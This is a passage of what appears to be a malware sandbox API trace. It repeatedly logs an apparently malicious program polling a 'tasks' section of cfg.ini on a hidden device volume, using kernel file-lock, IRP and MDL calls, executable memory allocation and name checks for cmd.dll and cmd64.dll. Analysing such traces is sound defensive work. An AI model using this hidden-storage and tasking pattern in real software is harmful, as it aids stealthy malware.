_Dest="0d24eb7c\\cfg.ini") returned 16 [0128.347] KeEnterCriticalRegion () [0128.347] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.347] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ac000 [0128.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.348] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.348] IdePortDispatch () returned 0x103 [0128.348] KeWaitForMutexObject () returned 0x0 [0128.348] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.348] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.348] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.348] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.348] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.348] IdePortDispatch () returned 0x103 [0128.348] KeWaitForMutexObject () returned 0x0 [0128.348] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.349] KeLeaveCriticalRegion () [0128.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.349] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.349] KeEnterCriticalRegion () [0128.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.349] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.349] KeLeaveCriticalRegion () [0128.349] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.349] KeEnterCriticalRegion () [0128.349] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.349] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.349] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.349] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.349] KeLeaveCriticalRegion () [0128.349] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.350] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.350] KeEnterCriticalRegion () [0128.350] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.350] ExFreePoolWithTag (P=0xfffffa8003ac9860, Tag=0x0) [0128.350] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.350] KeLeaveCriticalRegion () [0128.350] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.350] ReleaseMutex (hMutex=0xf0) returned 1 [0128.350] Sleep (dwMilliseconds=0x927c0) [0128.361] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.361] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.361] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.361] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.361] KeEnterCriticalRegion () [0128.361] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.361] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.361] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.361] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.361] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.361] IdePortDispatch () returned 0x103 [0128.361] KeWaitForMutexObject () returned 0x0 [0128.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.362] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.362] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.362] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.362] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.362] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe350 [0128.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.362] KeLeaveCriticalRegion () [0128.362] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.362] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.362] KeEnterCriticalRegion () [0128.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.362] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.362] KeLeaveCriticalRegion () [0128.362] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.362] KeEnterCriticalRegion () [0128.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.362] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.362] IdePortDispatch () returned 0x103 [0128.362] KeWaitForMutexObject () returned 0x0 [0128.362] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.362] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.362] KeLeaveCriticalRegion () [0128.362] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.362] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.362] KeEnterCriticalRegion () [0128.362] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.362] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034af000 [0128.362] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.362] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.362] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.363] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.363] IdePortDispatch () returned 0x103 [0128.363] KeWaitForMutexObject () returned 0x0 [0128.363] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.363] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.363] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.363] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.363] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.363] IdePortDispatch () returned 0x103 [0128.363] KeWaitForMutexObject () returned 0x0 [0128.363] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.363] KeLeaveCriticalRegion () [0128.363] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.364] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.364] KeEnterCriticalRegion () [0128.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.364] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.364] KeLeaveCriticalRegion () [0128.364] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.364] KeEnterCriticalRegion () [0128.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.364] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.364] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.364] KeLeaveCriticalRegion () [0128.364] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.364] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.364] KeEnterCriticalRegion () [0128.364] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.364] ExFreePoolWithTag (P=0xfffffa8003bfe350, Tag=0x0) [0128.364] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.364] KeLeaveCriticalRegion () [0128.365] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.365] ReleaseMutex (hMutex=0xf0) returned 1 [0128.365] Sleep (dwMilliseconds=0x927c0) [0128.383] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.383] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.383] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.383] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.383] KeEnterCriticalRegion () [0128.383] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.383] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.383] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.383] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.383] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.383] IdePortDispatch () returned 0x103 [0128.384] KeWaitForMutexObject () returned 0x0 [0128.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.385] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.385] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.385] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.385] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.385] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff010 [0128.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.385] KeLeaveCriticalRegion () [0128.385] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.385] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.385] KeEnterCriticalRegion () [0128.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.385] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.385] KeLeaveCriticalRegion () [0128.385] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.385] KeEnterCriticalRegion () [0128.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.385] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.385] IdePortDispatch () returned 0x103 [0128.385] KeWaitForMutexObject () returned 0x0 [0128.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.385] KeLeaveCriticalRegion () [0128.385] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.385] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.385] KeEnterCriticalRegion () [0128.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.385] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b4000 [0128.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.385] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.385] IdePortDispatch () returned 0x103 [0128.386] KeWaitForMutexObject () returned 0x0 [0128.386] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.386] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.386] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.386] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.386] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.386] IdePortDispatch () returned 0x103 [0128.386] KeWaitForMutexObject () returned 0x0 [0128.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.386] KeLeaveCriticalRegion () [0128.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.387] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.387] KeEnterCriticalRegion () [0128.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.387] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.387] KeLeaveCriticalRegion () [0128.387] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.387] KeEnterCriticalRegion () [0128.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.387] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.387] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe1c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.387] KeLeaveCriticalRegion () [0128.387] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.387] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.387] KeEnterCriticalRegion () [0128.387] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.387] ExFreePoolWithTag (P=0xfffffa8003bff010, Tag=0x0) [0128.387] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.387] KeLeaveCriticalRegion () [0128.387] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.387] ReleaseMutex (hMutex=0xf0) returned 1 [0128.387] Sleep (dwMilliseconds=0x927c0) [0128.401] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.401] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.401] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.401] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.401] KeEnterCriticalRegion () [0128.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.401] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.402] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.402] IdePortDispatch () returned 0x103 [0128.402] KeWaitForMutexObject () returned 0x0 [0128.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.402] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.402] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.402] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.402] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.402] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe460 [0128.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.402] KeLeaveCriticalRegion () [0128.402] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.402] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.402] KeEnterCriticalRegion () [0128.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.402] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.402] KeLeaveCriticalRegion () [0128.402] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.402] KeEnterCriticalRegion () [0128.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.402] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.402] IdePortDispatch () returned 0x103 [0128.402] KeWaitForMutexObject () returned 0x0 [0128.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.403] KeLeaveCriticalRegion () [0128.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.403] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.403] KeEnterCriticalRegion () [0128.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b9000 [0128.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.403] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.403] IdePortDispatch () returned 0x103 [0128.403] KeWaitForMutexObject () returned 0x0 [0128.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.403] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.403] IdePortDispatch () returned 0x103 [0128.403] KeWaitForMutexObject () returned 0x0 [0128.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.403] KeLeaveCriticalRegion () [0128.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.404] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.404] KeEnterCriticalRegion () [0128.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.404] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, 